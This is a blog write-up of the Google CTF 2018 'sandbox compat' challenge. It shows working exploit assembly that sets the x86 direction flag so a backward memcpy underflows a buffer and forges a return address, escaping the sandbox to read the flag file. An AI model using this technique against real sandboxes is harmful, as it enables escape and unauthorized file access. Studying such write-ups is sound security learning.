prettify code

2018年6月26日 星期二

[Write-up] Google CTF 2018 - pwn420 sandbox compat

Basic Info
This is an interesting sandbox-escaping challenge! Though I solved it after the game, still want to share how fun this challenge is, so I make this writeup.


Attachment contains the binary and source code, you can find them in my github repository.


checksec of the binary:
It's a 64-bit x86 binary and all modern protections are enabled, but later you will found these protections are not important at all ;)

Introduction
This section introduces how this sandbox being implemented, if you are already familiar with the challenge, you can skip and jump to Vulnerability.

When launching the binary, you can see:


Limitations

You can input x86 32-bit machine code, and it will be executed(!). Your code will be copied to segment 0xdead0000-0xdead1000, and segment 0xbeef0000-0xbef00000 can be used for stack. Of course, some mitigations have been done in the sandbox:
  1. Your code will be run in 32-bit mode (notice that the sandbox-self is a 64-bit one)
  2. Some input bytes are forbidden:
    • In brief, switch back to 64-bit mode is not allowed.
    • NULL-byte is not forbidden, it's just used for marking the end of array.
  3. Seccomp is installed, I love to use seccomp-tools to have clearer information:
    • The most important thing here is the instruction_pointer has been checked. The rule checks the address where invoking syscall CANNOT less than 232.

Syscalls

Though directly invoking syscall (int 0x80) is forbidden (by seccomp), there's an 'API' for syscalls: jump to address 0xfffff000. Codes on 0xfffff000 will switch architecture to 64-bit, save stack register, then entering the function kernel:
int kernel(unsigned int arg0, unsigned int arg1, unsigned int arg2,
           unsigned int arg3)
{
  int ret = 0;
  switch (arg0) {
    case __NR_read:
      ret = op_read(arg1, (char *)((long)arg2), arg3);
      break;
    case __NR_write:
      ret = op_write(arg1, (const char *)((long)arg2), arg3);
      break;
    case __NR_open:
      ret = op_open((const char *)((long)arg1));
      break;
    case __NR_close:
      ret = op_close(arg1);
      break;
    case __NR_mprotect:
      /* no way */
      ret = -1;
      break;
    case __NR_exit_group:
      ret = op_exit_group(arg1);
      break;
    default:
      ret = -1;
      break;
  }
  return ret;
}

Though under sandbox, we still have ability to do open/read/write, why not just read the flag file !? 😜
Of course life is not that easy, see the function op_open:
#define MAX_PATH        (1337 - 1080)
static int access_ok(const void *p, size_t size)
{
  unsigned long addr;

  addr = (unsigned long)p;
  if (addr >= (1L << 32) || addr + size >= (1L << 32) || addr + size < addr)
    return 0;

  return 1;
}
int path_ok(char *pathname, const char *p)
{
  if (!access_ok(p, MAX_PATH))
    return 0;

  memcpy(pathname, p, MAX_PATH);
  pathname[MAX_PATH - 1] = '\x00';

  if (strstr(pathname, "flag") != NULL)
    return 0;

  return 1;
}
static int op_open(const char *p)
{
  char pathname[MAX_PATH];

  if (!path_ok(pathname, p))
    return -1;

  return syscall(__NR_open, pathname, O_RDONLY);
}
path_ok checks the pathname can't contains "flag" as substring. However, we still have arbitrary file (except flag) read, so we can read file /proc/self/maps to beat ASLR.

Vulnerability
The vulnerability is in function path_ok.
memcpy(pathname, p, MAX_PATH);
No, there's no buffer overflow here. The story is memcpy was optimized into the built-in instruction:
rep movs QWORD PTR [rdi], QWORD PTR [rsi]
which will copy rcx*8 bytes from address rsi to rdi. This instruction is equivalent to:
while(rcx--) {
  *(QWORD*)rdi = *(QWORD*)rsi;
  rdi += 8;
  rsi += 8;
}

The trick is using the direction flag. On x86, the flag DF can control the direction of string processing. Typically DF is unset (zero), and the direction during copy is go forward. After turning on DF, the instruction rep movs becomes:
while(rcx--) {
  *(QWORD*)rdi = *(QWORD*)rsi;
  rdi -= 8;
  rsi -= 8;
}

That is, setting this flag can trigger buffer underflow!
With this trick we can control the return address of path_ok. However because of seccomp rules, we can't jump to system or one-gadget, we need create ROP chain to open("flag") / read / write.

Exploitation

No, no ROP chain is needed. Because the only limitation that keep us from reading flag is path_ok returns false (detected by strstr), all we need is control the return address of path_ok to the open syscall:
static int op_open(const char *p)
{
  char pathname[MAX_PATH];

  if (!path_ok(pathname, p))
    return -1; // <- skip here

  return syscall(__NR_open, pathname, O_RDONLY); // <-- directly return to here!
}

Therefore by properly setting the return address we can successfully open("flag") and back to our own code.

My exploit steps are:
  1. open/read/write /proc/self/maps to leak the base address of the sandbox binary.
  2. Read from stdin onto stack, which contains the return address (text_base + 0x13d7).
  3. Set DF flag via instruction std, and call open(ptr), where ptr points to "flag" and *(ptr-8) is the return address.
    | text_base + 0x13d7 | "flag\0\0\0\0" |
                         ^
                        ptr
  4. After memcpy (rep movs), the return address of path_ok had been forged, and the content of pathname is "flag" as we need. Just do read/write to capture the flag!
The assembly code of step 2. and 3. is 
mov esi, 0 /* fd: stdin */
mov edx, esp /* buf */
mov ecx, 0x10 /* len */
call read /* read return address & "flag" onto buf */

std /* Yooooo! */
mov esi, esp
add esi, 8 /* ptr */
call open /* will successfully open("flag") */

/* read / write */

You can find the full exploit script on my repository.

Flag: CTF{Hell0_N4Cl_Issue_51!}

Conclusion

This challenge implements an extreme-tiny kernel to handle allowed syscalls, while almost-arbitrary code execution is too powerful. This implies when creating a sandbox, always need to make sure user mode cannot affect any behaviors in kernel mode (like in this challenge, std affects behavior of rep movs).

Actually I used ROP (Return Oriented Programming) to exploit, with gadgets in libc-2.24.so (remote environment is Ubuntu 17.04). I came up with the solution described above right when writing this writeup, where the solution is much more beautiful and easier! Glad to decide to make this writeup 😆

沒有留言:

張貼留言